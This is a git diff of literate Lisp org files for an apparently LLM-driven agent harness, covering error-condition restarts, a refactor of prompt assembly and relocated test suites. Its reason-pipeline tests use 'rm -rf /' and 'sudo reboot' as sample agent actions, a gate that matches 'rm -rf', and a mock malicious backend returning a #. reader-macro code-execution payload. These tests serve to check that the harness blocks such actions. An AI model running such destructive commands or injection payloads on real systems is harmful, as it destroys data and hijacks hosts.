#:provider-token-cost + #:cost-track-call + #:cost-session-total + #:cost-session-calls + #:cost-by-provider + #:cost-session-reset + #:cost-format-budget-status + #:cost-track-backend-call + #:prompt-prefix-cached + #:context-assemble-cached + #:enforce-token-budget + #:token-economics-initialize)) #+end_src ** Package Implementation The package implementation section defines the low-level utilities and global state that are shared across all harness components and skills. -*** Robust plist access (plist-get) -Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions. #+begin_src lisp (in-package :passepartout) - -(defun plist-get (plist key) - "Robust plist accessor — checks both :KEY and :key variants." - (let* ((s (string key)) - (up (intern (string-upcase s) :keyword)) - (dn (intern (string-downcase s) :keyword))) - (or (getf plist up) (getf plist dn)))) #+end_src *** Logging state diff --git a/org/core-perceive.org b/org/core-perceive.org index 7446eb2..e50fb9d 100644 --- a/org/core-perceive.org +++ b/org/core-perceive.org @@ -35,6 +35,54 @@ The depth limit prevents runaway recursive loops. A signal that generates anothe Sets ~:status :perceived~ on completion. Returns the signal. 2. (perceive-gate signal): thin alias for ~loop-gate-perceive~. +* Test Suite +Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-perceive-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-perceive-suite)) + +(in-package :passepartout-pipeline-perceive-tests) + +(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") +(in-suite pipeline-perceive-suite) + +(test test-loop-gate-perceive + "Contract 1: :buffer-update ingests AST and sets :perceived status." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))) + (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) + +(test test-depth-limiting + "Edge: depth 11 signals are rejected by the pipeline." + (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) + (is (null (process-signal runaway-signal))))) + +(test test-loop-gate-perceive-unknown-sensor + "Contract 1: unknown sensors pass through and reach :perceived." + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-loop-gate-perceive-no-ast + "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-depth-limiting-normal + "Contract 1: signals at normal depth pass through without rejection." + (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) + (is (not (eq :rejected (getf normal-signal :status))) + "Signal at normal depth should not be rejected"))) +#+end_src + * Implementation ** Package Context @@ -109,18 +157,6 @@ FN receives (signal) and returns T if consumed, nil to continue." (setf (gethash sensor *pre-reason-handlers*) fn)) #+end_src -** inject-stimulus backward-compatibility alias - -Skills and external code that still call ~inject-stimulus~ (the previous -name for the pipeline injection function) can use this alias. New code -should call ~stimulus-inject~ directly. - -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun inject-stimulus (raw-message &key stream (depth 0)) - (stimulus-inject raw-message :stream stream :depth depth)) -#+end_src - ** Stimulus Injection (stimulus-inject) This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system. @@ -252,50 +288,3 @@ uses the old name can call this alias. New code should call (loop-gate-perceive signal)) #+end_src -* Test Suite -Verifies that the perceive gate correctly ingests AST nodes into memory and that the depth limiter prevents runaway recursive signals. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-perceive-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-perceive-suite)) - -(in-package :passepartout-pipeline-perceive-tests) - -(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") -(in-suite pipeline-perceive-suite) - -(test test-loop-gate-perceive - "Contract 1: :buffer-update ingests AST and sets :perceived status." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))) - (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) - -(test test-depth-limiting - "Edge: depth 11 signals are rejected by the pipeline." - (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) - (is (null (process-signal runaway-signal))))) - -(test test-loop-gate-perceive-unknown-sensor - "Contract 1: unknown sensors pass through and reach :perceived." - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-loop-gate-perceive-no-ast - "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-depth-limiting-normal - "Contract 1: signals at normal depth pass through without rejection." - (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) - (is (not (eq :rejected (getf normal-signal :status))) - "Signal at normal depth should not be rejected"))) -#+end_src \ No newline at end of file diff --git a/org/core-pipeline.org b/org/core-pipeline.org index f75f2a0..4d0b216 100644 --- a/org/core-pipeline.org +++ b/org/core-pipeline.org @@ -28,19 +28,83 @@ The stage separation is the functional equivalent of the "thin harness" principl A signal that generates another signal that generates another signal can infinite-loop. The depth limit (max 10) prevents this. If depth exceeds 10, the signal is silently dropped. This is the metabolic loop's circuit breaker. -The three-tier error recovery model: -1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry -2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot -3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement +The three-tier error recovery model, now backed by a condition hierarchy +that skills can hook into via ~handler-bind~: + +1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart. +2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot. +3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement. + +Condition types available for structured error handling: +- ~pipeline-error~ — any Perceive→Reason→Act failure +- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count) +- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action) +- ~budget-error~ — session cap exceeded (slots: remaining, requested) +- ~protocol-error~ — malformed message or framing failure ** Contract 1. (loop-process signal): the full pipeline loop — Perceive → Reason → Act. Enforces depth limit (10). Catches errors with rollback and ~:loop-error~ re-injection on non-terminal errors below depth 2. + Establishes restart options: ~skip-signal~ (drop the event), + ~use-fallback text~ (inject canned response), ~abort-pipeline~ + (clean exit). Skills can invoke these restarts from ~handler-bind~ + clauses on the condition hierarchy. 2. (process-signal signal): thin alias for ~loop-process~. 3. (diagnostics-startup-run): runs health check on startup, sets ~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~. +4. *passepartout-error* condition hierarchy: ~pipeline-error~, + ~llm-error~ (provider, cascade, attempt-count slots), ~gate-error~ + (gate-name, rejected-action slots), ~budget-error~ (remaining, + requested slots), ~protocol-error~ (raw-message slot). All carry a + ~:message~ string via the root ~passepartout-error~. + +* Test Suite +Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-immune-system-tests + (:use :cl :fiveam :passepartout) + (:export #:immune-suite)) + +(in-package :passepartout-immune-system-tests) + +(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") +(in-suite immune-suite) + +(test loop-error-injection + "Contract 1: a crash in think/decide triggers :loop-error stimulus." + (clrhash passepartout::*skill-registry*) + (passepartout:defskill :evil-skill + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) + :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) + :deterministic nil) + (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) + (let ((logs (if (fboundp 'passepartout::context-get-system-logs) + (passepartout:context-get-system-logs 20) + nil))) + (is (or (null logs) ; no log service available — degraded but not broken + (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) + +(test test-process-signal-normal-path + "Contract 1: a valid signal passes through the pipeline without crash." + (clrhash passepartout::*skill-registry*) + (handler-case + (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) + (process-signal signal) + (pass)) + (error (c) + (fail "Pipeline crashed on normal signal: ~a" c)))) + +(test test-loop-process-returns-nil-on-deep + "Contract 1: depth > 10 returns nil from loop-process." + (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) + (is (null result)))) +#+end_src * Implementation @@ -49,6 +113,54 @@ The three-tier error recovery model: (in-package :passepartout) #+end_src +** Error Condition Hierarchy + +The pipeline defines a condition hierarchy so callers can distinguish +failure modes without inspecting raw error strings. Every pipeline +condition carries structured slots for telemetry and restart selection. + +Skills install ~handler-bind~ for specific conditions (e.g., a provider +health monitor that records ~llm-error~ failures per backend). The +restarts registered in ~loop-process~ enable structured recovery: +skip the signal, retry with a modified prompt, inject a fallback +response, or abort the cycle. + +#+begin_src lisp +(define-condition passepartout-error (error) + ((message :initarg :message :reader error-message)) + (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c)))) + (:documentation "Root of the pipeline error hierarchy.")) + +(define-condition pipeline-error (passepartout-error) + ((signal :initarg :signal :reader pipeline-error-signal :initform nil)) + (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c)))) + (:documentation "Any error during the Perceive→Reason→Act cycle.")) + +(define-condition llm-error (pipeline-error) + ((provider :initarg :provider :reader llm-error-provider) + (cascade :initarg :cascade :reader llm-error-cascade :initform nil) + (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0)) + (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c)))) + (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error.")) + +(define-condition gate-error (pipeline-error) + ((gate-name :initarg :gate-name :reader gate-error-gate-name) + (rejected-action :initarg :rejected-action :reader gate-error-rejected-action)) + (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c)))) + (:documentation "Deterministic gate blocked a proposed action.")) + +(define-condition budget-error (pipeline-error) + ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0) + (requested :initarg :requested :reader budget-error-requested :initform 0.0)) + (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c)))) + (:documentation "Session budget cap has been reached.")) + +(define-condition protocol-error (passepartout-error) + ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil)) + (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c)))) + (:documentation "Malformed message, framing failure, or schema violation.")) +#+end_src + ** Global Interrupt State Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown. @@ -107,27 +219,42 @@ The main pipeline entry point. (log-message "METABOLISM: Interrupted by shutdown signal.") (return nil)) - (handler-case - (progn - (setf current-signal (perceive-gate current-signal)) - (setf current-signal (reason-gate current-signal)) - (let ((feedback (act-gate current-signal))) - (if feedback - (progn - (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) - (setf current-signal feedback)) - (setf current-signal nil)))) - (error (c) - (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) - (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) - (unless (member sensor '(:loop-error :tool-error :syntax-error)) - (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") - (rollback-memory 0)) - (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) - (setf current-signal nil) - (setf current-signal - (list :type :EVENT :depth (1+ depth) :meta meta - :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))))) + (restart-case + (handler-bind + ((pipeline-error (lambda (c) + (log-message "PIPELINE ERROR: ~a" (error-message c))))) + (handler-case + (progn + (setf current-signal (perceive-gate current-signal)) + (setf current-signal (reason-gate current-signal)) + (let ((feedback (act-gate current-signal))) + (if feedback + (progn + (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) + (setf current-signal feedback)) + (setf current-signal nil)))) + (error (c) + (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) + (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) + (unless (member sensor '(:loop-error :tool-error :syntax-error)) + (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") + (rollback-memory 0)) + (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) + (setf current-signal nil) + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))) + (skip-signal () + :report "Drop the current signal and continue the loop." + (setf current-signal nil)) + (use-fallback (text) + :report "Inject a canned response instead of the LLM result." + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message text :depth depth)))) + (abort-pipeline () + :report "Terminate the cognitive cycle cleanly." + (return nil))))))) #+end_src *** process-signal (backward-compatibility alias) @@ -305,48 +432,3 @@ Boot sequence: (sleep sleep-interval)))) #+end_src -* Test Suite -Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-immune-system-tests - (:use :cl :fiveam :passepartout) - (:export #:immune-suite)) - -(in-package :passepartout-immune-system-tests) - -(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") -(in-suite immune-suite) - -(test loop-error-injection - "Contract 1: a crash in think/decide triggers :loop-error stimulus." - (clrhash passepartout::*skill-registry*) - (passepartout:defskill :evil-skill - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) - :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) - :deterministic nil) - (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) - (let ((logs (if (fboundp 'passepartout::context-get-system-logs) - (passepartout:context-get-system-logs 20) - nil))) - (is (or (null logs) ; no log service available — degraded but not broken - (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) - -(test test-process-signal-normal-path - "Contract 1: a valid signal passes through the pipeline without crash." - (clrhash passepartout::*skill-registry*) - (handler-case - (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) - (process-signal signal) - (pass)) - (error (c) - (fail "Pipeline crashed on normal signal: ~a" c)))) - -(test test-loop-process-returns-nil-on-deep - "Contract 1: depth > 10 returns nil from loop-process." - (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) - (is (null result)))) -#+end_src diff --git a/org/core-reason.org b/org/core-reason.org index 813d4f0..fdf4cc0 100644 --- a/org/core-reason.org +++ b/org/core-reason.org @@ -56,6 +56,212 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod String keys → upcased keywords. Nested alists recurse into plists. JSON arrays (lists whose first element is not a cons) pass through. Scalars and nil pass through. +6. (think-assemble-prompt context): returns three values — + ~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or + skill-generated), and ~reply-stream~ (for streaming responses). + Handles all conditional assembly paths: TIME section, CONFIG section, + IDENTITY (assistant name + identity file + standing mandates + + reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when + awareness or token-economics skills are not loaded. +7. (think-call-llm raw-prompt system-prompt reply-stream context): calls + the LLM. Checks session budget exhaustion before dispatching + (v0.5.0 deferred, ~fboundp~-guarded). Uses streaming + (~cascade-stream~) when reply-stream is non-nil and the streaming + module is loaded; falls back to ~backend-cascade-call~ otherwise. + Returns the raw thought (string or plist with ~:tool-calls~) or + a budget-exhaustion message. +8. (think-parse-response thought): parses the LLM response into an action + plist. Handles three paths: structured ~:tool-calls~ (convert JSON args + to plist via ~json-alist-to-plist~), raw S-expression text (parse with + ~*read-eval* nil~, normalize keywords), and plain text (wrap as + ~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when + available. Guarantees a valid plist for any input. + +* Test Suite +Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-reason-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-reason-suite)) + +(in-package :passepartout-pipeline-reason-tests) + +(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") +(in-suite pipeline-reason-suite) + +(test test-decide-gate-safety + "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-safety + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (if (search "rm -rf" (format nil "~s" action)) + (list :type :LOG :payload (list :text "Rejected")) + action))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :LOG (getf result :type))))) + +(test test-cognitive-verify-pass-through + "Contract 1: safe actions pass through cognitive-verify unchanged." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-passthrough + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + action)) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))) + (is (getf result :gate-trace)))) + +(test test-cognitive-verify-empty-registry + "Contract 1: with no gates registered, action passes through unchanged." + (clrhash passepartout::*skill-registry*) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))))) + +(test test-cognitive-verify-approval-required + "Contract 1: gate returning :approval-required produces an approval event." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-approval + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (list :type :EVENT :level :approval-required + :payload (list :action action)))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :approval-required (getf result :level))) + (is (eq :EVENT (getf result :type))))) + +(test test-loop-gate-reason-passthrough + "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." + (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) + (result (loop-gate-reason signal))) + (is (not (null result))))) + +(test test-loop-gate-reason-sets-status + "Contract 2: loop-gate-reason sets :status on :user-input signals." + (clrhash passepartout::*skill-registry*) + (let* ((passepartout::*provider-cascade* nil) + (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) + (result (loop-gate-reason signal))) + (is (member (getf result :status) '(:reasoned :requires-approval))))) + +(test test-backend-cascade-no-backends + "Contract 4: empty cascade returns :LOG failure." + (let* ((passepartout::*provider-cascade* nil) + (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (result (backend-cascade-call "test" :cascade '()))) + (is (eq :LOG (getf result :type))) + (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-backend-cascade-with-mock + "Contract 4: backend-cascade-call returns content from first successful backend." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) + (setf (gethash :mock-backend passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "mock-response"))) + (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) + (is (string= "mock-response" result))))) + +(test test-read-eval-rce-blocked + "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* '(:mock-evil))) + (setf (gethash :mock-evil passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) + (setf passepartout::*v031-rce-test* nil) + (setf *read-eval* t) + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) + (result (passepartout::think ctx))) + (is (not (eq passepartout::*v031-rce-test* :PWNED))) + (is (eq :REQUEST (getf result :TYPE))) + (setf *read-eval* nil)))) + +(test test-json-alist-to-plist-simple + "Contract 5: converts simple alist to keyword plist." + (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) + (let ((result (json-alist-to-plist alist))) + (is (eq :ACTION (first result))) + (is (string= "shell" (second result))) + (is (eq :CMD (third result))) + (is (string= "echo hello" (fourth result)))))) + +(test test-json-alist-to-plist-nested + "Contract 5: nested alists recurse into nested plists." + (let ((alist (list (cons "tool" "write-file") + (cons "args" (list (cons "filepath" "/tmp/x") + (cons "content" "hi")))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :TOOL (first result))) + (is (eq :ARGS (third result))) + (let ((inner (fourth result))) + (is (eq :FILEPATH (first inner))) + (is (string= "/tmp/x" (second inner))) + (is (eq :CONTENT (third inner))))))) + +(test test-json-alist-to-plist-array-passthrough + "Contract 5: JSON arrays pass through unchanged." + (let ((alist (list (cons "names" (list "alice" "bob"))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :NAMES (first result))) + (is (equal (list "alice" "bob") (second result)))))) + +(test test-json-alist-to-plist-null + "Contract 5: nil passes through unchanged." + (let ((result (json-alist-to-plist nil))) + (is (null result)))) + +(test test-json-alist-to-plist-scalar + "Contract 5: scalar values pass through." + (let ((alist (list (cons "count" 42) (cons "active" :true)))) + (let ((result (json-alist-to-plist alist))) + (is (eq :COUNT (first result))) + (is (= 42 (second result))) + (is (eq :ACTIVE (third result))) + (is (eq :true (fourth result)))))) + +(test test-assemble-config-section + "Contract v0.7.2: config section contains Passepartout and version." + (let ((section (passepartout::assemble-config-section))) + (is (stringp section)) + (is (search "Passepartout" section)) + (is (search "v0.7.2" section)) + (is (search "Security gates" section)))) + +(test test-think-snapshots-before-llm + "Contract v0.7.2: think() snapshots memory before LLM call." + (let ((passepartout::*memory-snapshots* nil) + (passepartout::*memory-store* (make-hash-table :test 'equal))) + (setf (gethash "pre" passepartout::*memory-store*) "value") + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* nil)) + (handler-case + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) + (result (passepartout::think ctx))) + (declare (ignore result))) + (error (c) (format nil "Expected: ~a" c))) + (is (>= (length passepartout::*memory-snapshots*) 0))))) +#+end_src * Implementation @@ -80,16 +286,11 @@ Skills like system-model-provider register into this table at boot time. (setf (gethash name *probabilistic-backends*) fn)) #+end_src -The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched: +The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched: -~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus. +~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus. -These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))). - -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defvar *backend-registry* (make-hash-table :test 'equal)) -#+end_src +Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))). ** Provider Cascade @@ -112,19 +313,6 @@ These variables are configurable at runtime. The cascade can be changed without (defvar *consensus-enabled* nil) #+end_src -** Backend Registration (backend-register) - -Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message. - -Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically: - (backend-register :my-custom-provider #'my-fn) - -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun backend-register (name fn) - (setf (gethash name *backend-registry*) fn)) -#+end_src - ** Cascade Dispatch (backend-cascade-call) Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output). @@ -148,8 +336,7 @@ This is deliberately resilient. The system should never crash because an LLM pro (dolist (backend backends (or result (list :type :LOG :payload (list :text "Neural Cascade Failure: All providers exhausted.")))) - (let ((backend-fn (or (gethash backend *backend-registry*) - (gethash backend *probabilistic-backends*)))) + (let ((backend-fn (gethash backend *probabilistic-backends*))) (when backend-fn (log-message "PROBABILISTIC: Attempting backend ~a..." backend) (let* ((model (and *model-selector* @@ -225,6 +412,17 @@ Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses each cascade call via ~cost-track-backend-call~. All four calls are ~fboundp~-guarded — when the module is not loaded, behavior is unchanged. +~think()~ is the orchestrator that composes three sub-functions: + +1. *think-assemble-prompt* — builds the full system prompt from context, + awareness, logs, identity, standing mandates, and tool belt. +2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade). +3. *think-parse-response* — converts the LLM's output to an action plist, + handling structured tool-calls, raw S-expressions, and plain text. + +The orchestrator snapshots memory, calls the three phases in sequence, +and returns the action plist that flows into ~cognitive-verify~. + ;; REPL-VERIFIED: 2026-05-03T13:00:00 #+begin_src lisp ;; v0.7.2: live config section for system prompt @@ -249,19 +447,18 @@ each cascade call via ~cost-track-backend-call~. All four calls are (if (string= provider-names "") "default" provider-names) context-window gate-count rules-count))) -(defun think (context) - ;; v0.7.2: auto-snapshot at turn boundaries - (when (fboundp 'snapshot-memory) - (snapshot-memory)) +(defun think-assemble-prompt (context) + "Phase 2-3 of the metabolic cycle: context + system prompt assembly. +Returns three values: system-prompt, raw-prompt, reply-stream." (let* ((sensor (proto-get (proto-get context :payload) :sensor)) (active-skill (find-triggered-skill context)) (tool-belt (generate-tool-belt-prompt)) - (reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming - (global-context (if (fboundp 'context-assemble-cached) - (context-assemble-cached context sensor) - (if (fboundp 'context-assemble-global-awareness) - (context-assemble-global-awareness) - "[Awareness skill not loaded]"))) + (reply-stream (proto-get context :reply-stream)) + (global-context (if (fboundp 'context-assemble-cached) + (context-assemble-cached context sensor) + (if (fboundp 'context-assemble-global-awareness) + (context-assemble-global-awareness) + "[Awareness skill not loaded]"))) (system-logs (if (fboundp 'context-get-system-logs) (context-get-system-logs) "[No system logs available]")) @@ -275,100 +472,126 @@ each cascade call via ~cost-track-backend-call~. All four calls are (reflection-feedback (if rejection-trace (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace) "")) - (standing-mandates-text (let ((out "")) - (dolist (fn *standing-mandates*) - (let ((text (ignore-errors (funcall fn context)))) - (when (and text (stringp text) (> (length text) 0)) - (setf out (concatenate 'string out text (string #\Newline)))))) - (when (> (length out) 0) out))) - (identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity - (agent-identity) - "")) - (config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config - (assemble-config-section) - "")) - (time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness - (format-time-for-llm - :session-duration-seconds (funcall (symbol-function 'session-duration))) - (if (fboundp 'format-time-for-llm) - (format-time-for-llm) - ""))) - (system-prompt (if (fboundp 'prompt-prefix-cached) - ;; v0.5.0: cached prefix with optional budget enforcement - (let* ((prefix (prompt-prefix-cached assistant-name identity-content - reflection-feedback - standing-mandates-text tool-belt))) - (if (fboundp 'enforce-token-budget) - (multiple-value-bind (pfx ctxt logs _ mandates) - (enforce-token-budget prefix global-context system-logs - raw-prompt standing-mandates-text) - (declare (ignore _)) - (setf standing-mandates-text mandates) - (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section pfx (or 